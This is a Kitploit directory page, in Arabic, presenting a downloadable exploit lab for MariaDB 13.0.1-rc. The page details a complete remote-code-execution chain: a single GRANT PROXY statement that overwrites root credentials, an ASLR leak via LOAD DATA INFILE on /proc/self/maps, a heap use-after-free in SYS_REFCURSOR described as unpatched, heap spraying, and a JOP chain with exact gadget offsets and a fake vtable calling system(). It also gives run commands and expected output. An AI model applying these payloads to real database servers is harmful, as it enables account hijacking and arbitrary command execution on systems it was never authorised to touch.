Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
mariadb-13-rce-lab — MariaDB 13.0.1-rc معمل RCE — priv-esc + heap UAF + سلسلة JOP إلى system() بصلاحية uid 999 (mysql) على صورة Docker الأصلية. تم اكتشافه باستخدام RAPTOR وraptor-loop-hunt. | Kitploit
أدوات/GitHubGitHub/dinosn/mariadb-13-rce-lab
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاختبار الاختراقتطوير الحمولاتأمن قواعد البياناتاستغلال الملفات الثنائيةمختبرات وتدريب عملي
GitHubdinosn/mariadb-13-rce-lab

mariadb-13-rce-lab

MariaDB 13.0.1-rc معمل RCE — priv-esc + heap UAF + سلسلة JOP إلى system() بصلاحية uid 999 (mysql) على صورة Docker الأصلية. تم اكتشافه باستخدام RAPTOR وraptor-loop-hunt.

عرض المستودع
336منذ 17 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

مختبر RCE لـ MariaDB 13.0.1-rc

تنفيذ كود عن بُعد على صورة MariaDB 13.0.1-rc الرسمية (Docker) غير المعدّلة بصلاحية uid 999 (mysql).

نسختان من الاستغلال:

النسخةالملفالمتطلباتملاحظات
SQL خالص (موصى به)exploit_pure_sql.pyحساب MariaDB بصلاحيات منخفضة + TCPلا وصول للمضيف، لا docker، لا /proc/mem، لا كلمة مرور root
PoC بمساعدة المضيفexploit.pyصلاحية root على مضيف Dockerيكتب سلسلة JOP عبر /proc/<pid>/mem

تم اختباره وإثباته على: mariadb@sha256:ef34af04bda12e6c85395328af78d562176c34fb29ae52063a4eb0d68fa7b3e9 (4/4 مرات تشغيل، مع قواعد ASLR جديدة في كل مرة).

نموذج هجوم SQL الخالص (exploit_pure_sql.py)

يمتلك المهاجم فقط:

  • حساب MariaDB بصلاحية USAGE فقط (مستخدم lowpriv في compose) + كلمة مروره، و
  • إمكانية الوصول عبر TCP إلى المنفذ 3306.

السلسلة كاملة تُنفَّذ كعبارات SQL؛ لا وصول إلى عمليات المضيف، ولا أوامر docker، ولا عناوين معروفة مسبقًا. كل عنوان وقت تشغيل يُكتسب من الهدف نفسه عبر SQL:

root@kitploit:~
1. F-09  GRANT PROXY ON CURRENT_USER() TO 'root'@'%' IDENTIFIED VIA ''
         -> any user becomes full DBA (root account hijacked, empty password).
            One statement, no privileges required.

2. LOAD DATA INFILE '/proc/self/maps' INTO TABLE ...
         -> server-side file read (FILE priv, secure_file_priv unset on stock)
            leaks PIE base and libc base = real ASLR defeat. The bases change
            on every run and are read from the live process.

3. SET @fake = REPEAT(CHAR(0xDE), 134217728)   (128 MiB user variable)
         -> glibc dedicates a mmap region (0x8001000, data at +0x30).
            Its address is discovered by diffing /proc/self/maps before/after
            the allocation - from SQL. No /proc/<pid>/mem involved.

4. SET @fake = CONCAT(REPEAT(...), UNHEX('<JOP layout>'), REPEAT(...))
         -> the complete JOP chain (D2, D1, system(), command string) is
            written by SQL at allocation time. The self-referential pointer
            [V+0xa8] = V+0x140 is baked in using the address found in step 3;
            glibc reuses the exact same mmap slot when the buffer is
            reallocated, so the address stays stable (verified each iteration,
            re-baked if ever moved).

5. F-05 SYS_REFCURSOR UAF + heap spray (spray128/grow5/uaf5, stock binary)
         -> the freed 1792-byte cursor array is reclaimed with a 1784-byte
            blob carrying V at offset 0x20; virtual dispatch
            result->prepare() -> D2 -> D1 -> system("sh -c '<cmd>'")
            executes the command as uid 999(mysql).

6. Proof: the command writes a marker; server crashes right after system()
   returns (mariadbd is PID 1 -> container exits). Restart the container and
   read the marker.

أما عمليات غير SQL الوحيدة المتبقية فهي أعمال ما بعد الاستغلال: إعادة تشغيل الحاوية (التي تعطلت بالفعل) وعرض ملف العلامة - وهي ليست جزءًا من الاستغلال.

استبدال الأدوات المساعدة القديمة على جانب المضيف

الاستخدام (SQL خالص)

root@kitploit:~
# start the lab
docker compose up -d

# run the exploit from anywhere with TCP access - no host access needed
python3 exploit_pure_sql.py --host 192.168.1.119 --port 3306 \
    --user lowpriv --password lowpriv \
    --command "id > /tmp/pwned" --marker /tmp/pwned \
    --container mariadb-rce-lab

يتطلب فقط عميل mariadb/mysql وPython 3. --container يُستخدم لعرض العلامة النهائية (إعادة تشغيل + cat) ويمكن حذفه إذا تم التحقق من العلامة بطريقة أخرى.

النهاية المتوقعة للمخرجات:

root@kitploit:~
[*] ============ FIRING (CALL uaf5) ============
[*] session died as expected after RCE: no sentinel within 10s; got: b''
[*] waiting for marker /tmp/pwned ...
[+] /tmp/pwned: uid=999(mysql) gid=999(mysql) groups=999(mysql)

[+] ===========================================
[+]  RCE CONFIRMED (pure SQL, lowpriv account)
[+] ===========================================

سلسلة الثغرات (كلا النسختين)

1. F-09 — تصعيد الصلاحيات (أي مستخدم → DBA)

GRANT PROXY ON ''@'' TO 'root'@'localhost' IDENTIFIED VIA '' يتجاوز كل فحوصات الصلاحيات. جملة المصادقة الفارغة تجعل LEX_USER::has_auth() تُرجع false (متجاوزةً check_alter_user())، بينما ما زالت replace_user_table() تطبّق كلمة المرور الفارغة — لتحل محل بيانات اعتماد root. عبارة SQL واحدة، أي مستخدم مصادَق، كل إصدارات MariaDB المنشورة.

2. كسر ASLR عبر /proc/self/maps

LOAD DATA INFILE '/proc/self/maps' يقرأ التخطيط الكامل لذاكرة عملية mariadbd من داخل SQL، كاشفًا عن عناوين قاعدة PIE وقاعدة libc. يعمل مع secure_file_priv = NULL (غير مضبوط) على الصورة الرسمية.

3. F-05 — ثغرة استخدام بعد التحرير في SYS_REFCURSOR (0day، غير مُصلَحة في المنبع)

sp_cursor_array::get_cursor_by_ref() يُعيد مؤشرًا داخليًا إلى Dynamic_array الذي يُنقل تخزينه الخلفي بواسطة my_realloc عند النمو. عندما تشغّل طريقة open() الخاصة بمؤشر SQL يتحكم به المهاجم يفتح مؤشرات إضافية، تنمو المصفوفة، ويُحرَّر التخزين القديم، ويصبح المؤشر المخزَّن لدى المتصل معلقًا (dangling).

الكتلة المحرَّرة (16 مؤشرًا × 112 بايت = 1792 بايت) تُستعاد عبر رشّ الكومة (heap spray) بـ 128 نسخة من متغير مستخدم بحجم 1784 بايت لكل نسخة (تناسب تمامًا كتلة glibc). تضع حمولة الرش مؤشر vtable مُتحكمًا فيه عند الإزاحة 0x20 (العضو result في sp_cursor)، والذي يُستخدم لاحقًا في التوزيع الافتراضي:

root@kitploit:~
Materialized_cursor::open() -> result->prepare()
  -> mov rax, [result]       ;  rax = attacker's vtable pointer (V)
  -> call [rax + 0x20]       ;  calls D2 gadget (prepare() vtable slot)

4. سلسلة JOP → system()

أداتان (gadgets) من نوع JOP من ثنائي mariadbd الرسمي (بدون ROP، بدون تحويل مكدس):

الأداةالإزاحةالتعليمةالغرض
D2PIE+0x80da77call *0x100(%rax)إصلاح محاذاة المكدس
D1PIE+0xe3075bmov rdi,[rax+0xa8]; call [rax+0xa0]

جدول vtable المزوّر V يعيش في المخزن المؤقت 128 MiB؛ تخطيطه:

root@kitploit:~
V+0x20  = D2          (prepare() vtable slot)
V+0xa0  = system()    (libc+0x5c560)
V+0xa8  = V+0x140     (pointer to command string -> rdi)
V+0x100 = D1          (JOP dispatcher)
V+0x140 = "sh -c '<cmd>'\0"

5. خدعة اكتشاف العناوين عبر SQL الخالص (جديدة)

مشكلة الدجاجة والبيضة في كتابة بيانات JOP ذات المرجع الذاتي قبل معرفة عنوان المخزن المؤقت تُحل بسلوك glibc في mmap:

  1. تخصيص مخزن مؤقت للعلامة بحجم 128 MiB → منطقة mmap مخصصة (0x8001000، البيانات عند region+0x30) → العثور على العنوان عبر فرق /proc/self/maps
  2. إعادة تخصيص المخزن المؤقت بالتخطيط الكامل (المرجع الذاتي = V+0x140) → glibc يُلغي تعيين الكتلة القديمة (munmap) ويعيد استخدام الخانة نفسها → العنوان مستقر
  3. تُتحقق كل خطوة بإعادة قراءة /proc/self/maps؛ إذا تغير العنوان في أي وقت، يُعاد دمج المرجع الذاتي وتُعاد محاولة الكتابة (يتقارب في تكرار واحد عمليًا)

النسخة بمساعدة المضيف (exploit.py)

نفس السلسلة، لكن تخطيط JOP يُكتب في العملية عبر /proc/<pid>/mem من مضيف Docker (يتطلب صلاحية root)، ويُعدّ سكربت الحمولة عبر docker exec، ويتصل بكلمة مرور root من ملف compose. أُبقي كإثبات مفهوم تاريخي؛ النسخة الخالصة بـ SQL تجاوزته.

ملاحظات

  • ثغرة F-05 استخدام بعد التحرير في SYS_REFCURSOR غير مُصلَحة في المنبع حتى 2026-08-03 (صفر commits إلى sql/sp_cursor.{cc,h} بين وسم 13.0.1 وHEAD).
  • إصلاح تصعيد الصلاحيات F-09 (dbd60d0ad8d, MDEV-40470) موجود في فروع التطوير لكنه غائب عن كل الإصدارات المنشورة (تم التحقق من 13.0.1 حتى 10.6.27).
  • اختير 128 MiB لأن عتبة mmap الديناميكية في glibc يمكن أن تنمو فوق 4 MiB بعد تحرير كتل كبيرة؛ 128 MiB يحصل بشكل موثوق على منطقة mmap مخصصة (تم التحقق من 128 و256 MiB؛ أي حجم يتجاوز max_allowed_packet يفشل، لذا يُرفع SET GLOBAL max_allowed_packet أولًا ويُستخدم اتصال جديد).
  • إزاحة البيانات داخل منطقة mmap هي +0x30 على هذه الصورة/glibc (تم التحقق عبر عدة مرات تشغيل؛ حدّث DATA_OFF إذا اختلفت يومًا).

اكتُشف باستخدام

  • RAPTOR — إطار بحث هجومي/دفاعي مستقل
  • raptor-loop-hunt — مكوّن إضافي للبحث المتكرر عن الثغرات
تنزيل الأداة
الأداة المساعدة القديمة (exploit.py)البديل بـ SQL خالص
docker inspect → PID + /proc/<pid>/maps على جانب المضيفLOAD DATA INFILE '/proc/self/maps'
كتابة /proc/<pid>/mem على جانب المضيف لسلسلة JOPالتخطيط مضمّن عبر CONCAT/UNHEX عند التخصيص؛ العنوان من فرق الخرائط المُجرى عبر SQL؛ إعادة استخدام خانة mmap تُبقي المرجع الذاتي صالحًا
docker exec ... echo CMD > /tmp/payload_cmd.shسلسلة الأمر مضمّنة مباشرة في تخطيط JOP
mariadb -uroot -plabpass (كلمة مرور root)تصعيد الصلاحيات عبر GRANT PROXY من الحساب منخفض الصلاحية
docker exec ... cat MARKERيُستخدم فقط لعرض الإثبات
تحميل مؤشر الأمر، استدعاء system()